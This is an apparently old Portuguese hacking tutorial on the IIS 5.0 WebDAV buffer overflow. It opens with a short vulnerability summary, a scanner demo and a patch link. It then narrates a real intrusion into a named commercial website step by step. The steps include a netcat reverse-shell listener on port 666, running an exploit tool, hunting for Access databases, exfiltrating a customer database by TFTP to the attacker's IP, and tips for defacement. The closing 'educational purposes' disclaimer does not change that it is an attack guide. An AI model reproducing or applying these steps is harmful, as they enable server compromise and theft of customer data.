Buffer overflow no WebDAV

Estouro remoto de buffer no WebDAV/ntdll.dll para IIS 5.0

    O servidor de web da Microsoft para o Windows 2000, IIS 5.0 inclui suporte para WebDAV, que permite a usuários manipular arquivos salvos em um servidor web. Uma falha de estouro de buffer existe no arquivo ntdll.dll (um pedaço do código utilizado pelo WebDAV do IIS).         Enviando um "pacote especial" para um servidor IIS 5.0, um atacante pode executar código arbitrário, dando ao invasor praticamente o controle total do sistema.
    Essa falha foi descoberta no dia 18 de março de 2003,é muito grave e milhões de computadores estão vulneráveis. Há relatos de que até a página do exército americano foi invadida utilizando esse problema. Somente o servidor IIS 5.0 é afetado, o IIS 4.0 (para Windows NT 4.0) não possui o problema. Uma pequena visão do que pode ser explorado:

 

Alguns comandos utilizados pelo WebDAV que podem ser explorados:

SEARCH
PROPFIND
MKCOL
LOCK
COPY

O SensePost Research [http://www.sensepost.com/] fez uma ferramenta de scanneamento de WebDAV em Perl:

Uso típico:

> perl finder.pl www.sitequalquer.com.br 80
Testing WebDAV methods [www.sitequalquer.com.br 80]
-------------------------------------
www.sitequalquer.com.br : Server type is Microsoft-IIS/5.0
Method PROPFIND seems to be allowed - WebDAV possibly in use
Method PROPPATCH seems to be allowed - WebDAV possibly in use
Method MCOL seems to be allowed - WebDAV possibly in use
Method PUT seems to be allowed - WebDAV possibly in use
Method DELETE seems to be allowed - WebDAV possibly in use
Method LOCK seems to be allowed - WebDAV possibly in use
Method UNLOCK seems to be allowed - WebDAV possibly in use


No exemplo acima do site fictício http://www.den1ed.hpg.ig.com.br/index.htm#, ele é vulnerável a todas os comandos falhos de WebDAV. Vamos fazer um teste no nosso http://www.den1ed.hpg.ig.com.br/index.htm#.

> perl finder.pl www.ownedyou.org 80
Testing WebDAV methods [www.ownedyou.org 80]
-------------------------------------
www.ownedyou.org : Server type is Microsoft-IIS/5.0
Method PROPFIND is not allowed
Method PROPPATCH is not allowed
Method MCOL is not allowed
Method PUT is not allowed
Method DELETE is not allowed
Method LOCK is not allowed
Method UNLOCK is not allowed


Nada vulnerável agora. O script finder.pl está disponível [aqui]. Para utilizá-lo é necessário o compilador Perl.
Pensando nas pessoas que não têm muita familiaridade com a linguagem Perl, eu achei uma ferramenta comum que checa essas falhas em modo gráfico e lhe diz apenas o importante: se o sistema é vulnerável ou não. É o ChWebDav (Checa WebDav).

ChWebDav

ChWebDav em ação. Download [aqui] (171k)

 

Para maiores informações técnicas sobre a falha, ler (em inglês):
http://www.ngssoftware.com/papers/ms03-007-ntdll.pdf


Patch de segurança da Microsoft para o Windows 2000 disponível em:
http://www.microsoft.com/downloads/details.aspx?FamilyID=c9a38d45-5145-4844-b62e-c69d32ac929b&DisplayLang=en%20

 

Bem, agora que você já sabe mais ou menos o que é o bug do componente do webdav, vou mostrar a vocês fotos e passos de um site sendo invadido por WebDav.

Antes você precisa de alguns arquivos para poder explorar a vulnerabilidade do WebDav:

Finder.pl (Webdav Scanner) ou algum que tenha a mesma função. Serve para scaniar sites vulneráveis a este bug.

wb.exe (exploit do webdav) ou algum parecido, no meu caso eu não uso este, usou outro que foi codado por alguns amigos gringos.

Netcat (Shell Reverso) Precisa dele para que o exploit crie uma Shell Espelho entre o server own e a sua máquina.

Tftpd32 Programa para enviar/receber arquivos entre o Local Host e o Remote Host, ou seja entre sua máquina e o server own.

Agora que você já conhece os programas necessários para conseguir ownar pelo bug do webdav, vou mostrar a vocês passo à passo, um ataque feito ao site: http://www.blacktiecigars.com/

Primeira Ação:

Rodei o netcat pelo mirc e botei ele para ¨escutar¨ na porta 666. mas como? * /RUN NC -L -V -P 666 irá aperecer esta tela:

NetCat

Segunda Ação: Rodar o exploit e atacar o meu alvo, no caso: http://www.blacktiecigars.com/ irá aparecer esta tela:

Exploit

Agora vamos tentar entender o que é cada uma destas opções do programa:

target: vai ser o meu alvo, no caso http://www.blacktiecigars.com/

padding: vai ser, o código arbitrário(Buffer Overflow) que irá variar entre 1 a 254.

satan's ip: o ip que está sendo rodado o netcat, no caso, o meu ip.

satan's port: a porta onde o satan's ip está sendo rodado, no caso, vai ser a porta 666.

custom pads: o próprio nome já diz, se voce tem +/- uma idéia de qual vai ser o póssivel pad(código arbitrário) você põe lá para agilizar o processo.

status: é o log de como está acontecendo o ataque, e também mostrando o código que está sendo utilizado no momento.

Bem, depois que eu ataquei o meu alvo, provavelmente eu vou conseguir invadir o sistema. Caso o site esteja realmente com o bug do webdav vai aparecer esta tela no Netcat:

NetCat

Se aparecer esta tela, você está dentro do sistema.

Sim, den1ed, agora eu estou dentro do sistema, e agora, o que eu faço para ownar, ou melhor, como eu faço para achar um mdb dentro do sistema.. Muito fácil, basta voce ir ao diretorio c:\ e digitar isso, dir /s *.mdb

Terceira Ação:

Daí depois que você achar o diretório onde se encontra a mdb.. vá até ela. Depois que você achar o .mdb você inicializa o programa Tftpd32.

quando voce inicializar.. vai aparecer esta tela:

Tftpd32

Depois que aparecer esta tela, você vai até o netcat e digita o seguinte comando: tftp -i seuip PUT arquivo.mdb

Quarta Ação: No meu caso eu digitei: tftp -i 200.164.222.212 PUT shopping450.mdb

Após digitar isso, se tudo der certo, vai aparecer a seguinte tela no netcat:

NetCat

Neste momento feliz, você provavelmente vai estar baixando a mdb.

E no Tfpd32 vai aparecer as seguintes frases(na minha invasão apareceu isto):

Connection Received from 24.247.187.237(IP DO ALVO) on port 3965

Write request for file <shopping450.mdb>. Mode octet

<shopping450.mdb>: rcvd 1689 blks, 864256 bytes in 1078 s. 0 blk resent

Veja a figura:

Tftpd32

Base Directory: c:\

Eu apaguei o meu diretório base. mas no caso, era o c:\

OBS: Para você fazer um deface no seu alvo, as ações executadas irão funcionar do mesmo jeito, mas, em vez de voce colocar, PUT voce poe GET e o nome do arquivo que você queira enviar ao server own, no caso para que tudo aconteca de forma correta, coloque os arquivos do tftpd32 e o netcat, dentro da mesma pasta, e os arquivos que você queira enviar para o server own tambem, na mesma pasta. E configure o Tftpd32 na mesma pasta em que eles se encontram.

 

Os programas usados neste ataque não estão disponíveis para download.

ESTE TUTORIAL FOI DESENVOLVIDO COM INTUITO EDUCATIVO, NÃO ME RESPONSABILIZO PELOS SEUS ATOS!

 

Imprimir Topo>>>
Hosted by www.Geocities.ws

1